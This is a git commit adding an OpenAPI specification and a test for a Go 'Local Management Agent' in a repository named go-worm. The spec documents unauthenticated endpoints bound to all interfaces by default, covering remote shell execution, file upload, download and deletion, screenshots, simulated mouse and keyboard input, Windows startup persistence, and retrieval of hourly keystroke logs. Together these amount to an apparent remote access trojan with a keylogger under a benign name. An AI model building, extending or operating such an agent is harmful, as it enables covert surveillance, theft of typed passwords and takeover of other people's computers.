Add OpenAPI specification support to the agent. Implement a new endpoint for serving OpenAPI documentation and refactor the existing handler to utilize the new specification. Add tests to ensure the correctness of the OpenAPI spec generation.

This commit is contained in:
2026-08-28 13:23:41 +03:00
parent 4f8ee5f6be
commit 6a070391c8
4 changed files with 429 additions and 17 deletions
+401
View File
@@ -0,0 +1,401 @@
package openapi
import "tea.chunkbyte.com/kato/go-worm/lib/config"
func Spec() map[string]any {
ref := func(name string) map[string]string {
return map[string]string{"$ref": "#/components/schemas/" + name}
}
jsonBody := func(schema map[string]string) map[string]any {
return map[string]any{
"required": true,
"content": map[string]any{
"application/json": map[string]any{"schema": schema},
},
}
}
errResp := func(desc string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": ref("Error")},
}}
}
okJSON := func(desc string, schema map[string]string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": schema},
}}
}
return map[string]any{
"openapi": "3.0.3",
"info": map[string]any{
"title": "Local Management Agent",
"description": "HTTP API for a Windows local management agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
"version": config.Version,
},
"servers": []map[string]any{
{"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"},
},
"paths": map[string]any{
"/health": map[string]any{
"get": map[string]any{
"summary": "Health check",
"operationId": "health",
"responses": map[string]any{
"200": okJSON("Agent is running", ref("Health")),
},
},
},
"/healthz": map[string]any{
"get": map[string]any{
"summary": "Health check alias",
"operationId": "healthz",
"responses": map[string]any{
"200": okJSON("Agent is running", ref("Health")),
},
},
},
"/api/v1/status": map[string]any{
"get": map[string]any{
"summary": "Agent status",
"operationId": "getStatus",
"responses": map[string]any{
"200": okJSON("Host and agent metadata", ref("Status")),
},
},
},
"/api/v1/files": map[string]any{
"get": map[string]any{
"summary": "List directory entries",
"operationId": "listFiles",
"parameters": []map[string]any{
{"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"},
{"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"},
},
"responses": map[string]any{
"200": okJSON("Directory listing", ref("FileList")),
"400": errResp("Invalid path or depth"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
},
},
"delete": map[string]any{
"summary": "Delete a file or directory",
"operationId": "deleteFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": map[string]any{
"200": okJSON("Deleted", ref("OkPath")),
"400": errResp("Invalid path"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
},
},
},
"/api/v1/download": map[string]any{
"get": map[string]any{
"summary": "Download a file",
"operationId": "downloadFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": map[string]any{
"200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
"400": errResp("Invalid path or directory"),
"403": errResp("Path outside allowed root"),
"404": errResp("File not found"),
},
},
},
"/api/v1/upload": map[string]any{
"post": map[string]any{
"summary": "Upload a file",
"operationId": "uploadFile",
"requestBody": map[string]any{
"required": true,
"content": map[string]any{
"multipart/form-data": map[string]any{
"schema": map[string]any{
"type": "object",
"required": []string{"path", "file"},
"properties": map[string]any{
"path": map[string]string{"type": "string", "description": "Destination directory"},
"file": map[string]string{"type": "string", "format": "binary"},
},
},
},
},
},
"responses": map[string]any{
"200": okJSON("Uploaded", ref("UploadResult")),
"400": errResp("Invalid path or body"),
"403": errResp("Path outside allowed root"),
},
},
},
"/api/v1/screenshot": map[string]any{
"get": map[string]any{
"summary": "Capture a monitor",
"operationId": "screenshot",
"parameters": []map[string]any{
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
{"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": map[string]any{
"200": map[string]any{
"description": "Screenshot image",
"headers": map[string]any{
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters"),
"503": errResp("No interactive desktop available"),
},
},
},
"/api/v1/exec": map[string]any{
"post": map[string]any{
"summary": "Run a shell command",
"operationId": "exec",
"requestBody": jsonBody(ref("ExecRequest")),
"responses": map[string]any{
"200": okJSON("Command finished", ref("ExecResponse")),
"400": errResp("Invalid command or timeout"),
"504": errResp("Command timed out"),
},
},
},
"/api/v1/startup": map[string]any{
"post": map[string]any{
"summary": "Add agent to Windows startup",
"operationId": "enableStartup",
"responses": map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
},
},
"delete": map[string]any{
"summary": "Remove agent from Windows startup",
"operationId": "disableStartup",
"responses": map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
},
},
},
"/api/v1/input/click": map[string]any{
"post": map[string]any{
"summary": "Click the desktop",
"operationId": "click",
"requestBody": jsonBody(ref("ClickRequest")),
"responses": map[string]any{
"200": okJSON("Clicked", ref("ClickResult")),
"400": errResp("Invalid coordinates or button"),
},
},
},
"/api/v1/input/key": map[string]any{
"post": map[string]any{
"summary": "Send a key press",
"operationId": "sendKey",
"requestBody": jsonBody(ref("KeyRequest")),
"responses": map[string]any{
"200": okJSON("Key sent", ref("KeyResult")),
"400": errResp("Invalid key or action"),
},
},
},
"/api/v1/input/text": map[string]any{
"post": map[string]any{
"summary": "Type text into the focused field",
"operationId": "typeText",
"requestBody": jsonBody(ref("TextRequest")),
"responses": map[string]any{
"200": okJSON("Text typed", ref("TextResult")),
"400": errResp("Invalid or empty text"),
},
},
},
"/api/v1/keylog": map[string]any{
"get": map[string]any{
"summary": "List keystroke log files",
"operationId": "listKeylogs",
"responses": map[string]any{
"200": okJSON("Keystroke log index", ref("KeylogList")),
},
},
},
"/api/v1/keylog/download": map[string]any{
"get": map[string]any{
"summary": "Download a keystroke log file",
"operationId": "downloadKeylog",
"parameters": []map[string]any{
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"},
},
"responses": map[string]any{
"200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{
"text/plain": map[string]any{"schema": map[string]string{"type": "string"}},
}},
"400": errResp("Invalid filename"),
"404": errResp("Log file not found"),
},
},
},
},
"components": map[string]any{
"schemas": map[string]any{
"Error": map[string]any{
"type": "object", "required": []string{"error"},
"properties": map[string]any{"error": map[string]string{"type": "string"}},
},
"Health": map[string]any{
"type": "object", "required": []string{"status"},
"properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}},
},
"Status": map[string]any{
"type": "object",
"properties": map[string]any{
"os": map[string]string{"type": "string"},
"architecture": map[string]string{"type": "string"},
"user": map[string]string{"type": "string"},
"hostname": map[string]string{"type": "string"},
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
},
},
"FileItem": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"path": map[string]string{"type": "string"},
"type": map[string]any{"type": "string", "enum": []string{"file", "dir"}},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"FileList": map[string]any{
"type": "object",
"properties": map[string]any{
"path": map[string]string{"type": "string"},
"depth": map[string]any{"type": "integer"},
"entries": map[string]any{"type": "array", "items": ref("FileItem")},
},
},
"OkPath": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
},
},
"UploadResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"name": map[string]string{"type": "string"},
},
},
"ExecRequest": map[string]any{
"type": "object", "required": []string{"command"},
"properties": map[string]any{
"command": map[string]string{"type": "string", "example": "ipconfig /all"},
"timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30},
},
},
"ExecResponse": map[string]any{
"type": "object",
"properties": map[string]any{
"exit_code": map[string]any{"type": "integer"},
"stdout": map[string]string{"type": "string"},
"stderr": map[string]string{"type": "string"},
},
},
"StartupState": map[string]any{
"type": "object",
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
"x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"},
"y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"},
"button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}},
"monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0},
},
},
"ClickResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"x": map[string]any{"type": "integer"},
"y": map[string]any{"type": "integer"},
},
},
"KeyRequest": map[string]any{
"type": "object", "required": []string{"key"},
"properties": map[string]any{
"key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."},
"action": map[string]any{
"type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap",
},
"modifiers": map[string]any{
"type": "array",
"items": map[string]any{
"type": "string", "enum": []string{"ctrl", "alt", "shift", "win"},
},
},
},
},
"KeyResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"key": map[string]string{"type": "string"},
"action": map[string]string{"type": "string"},
},
},
"TextRequest": map[string]any{
"type": "object", "required": []string{"text"},
"properties": map[string]any{
"text": map[string]any{"type": "string", "maxLength": 4096},
"delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200},
},
},
"TextResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"length": map[string]any{"type": "integer"},
"delay_ms": map[string]any{"type": "integer"},
},
},
"KeylogFile": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"KeylogList": map[string]any{
"type": "object",
"properties": map[string]any{
"directory": map[string]string{"type": "string"},
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
},
},
},
},
}
}
+25
View File
@@ -0,0 +1,25 @@
package openapi
import "testing"
func TestSpec(t *testing.T) {
spec := Spec()
if spec["openapi"] != "3.0.3" {
t.Fatalf("openapi version = %v", spec["openapi"])
}
paths, ok := spec["paths"].(map[string]any)
if !ok || len(paths) < 12 {
t.Fatalf("expected at least 12 paths, got %d", len(paths))
}
if _, ok := paths["/api/v1/status"]; !ok {
t.Fatal("missing /api/v1/status")
}
components, ok := spec["components"].(map[string]any)
if !ok {
t.Fatal("missing components")
}
schemas, ok := components["schemas"].(map[string]any)
if !ok || len(schemas) < 10 {
t.Fatalf("expected schemas, got %d", len(schemas))
}
}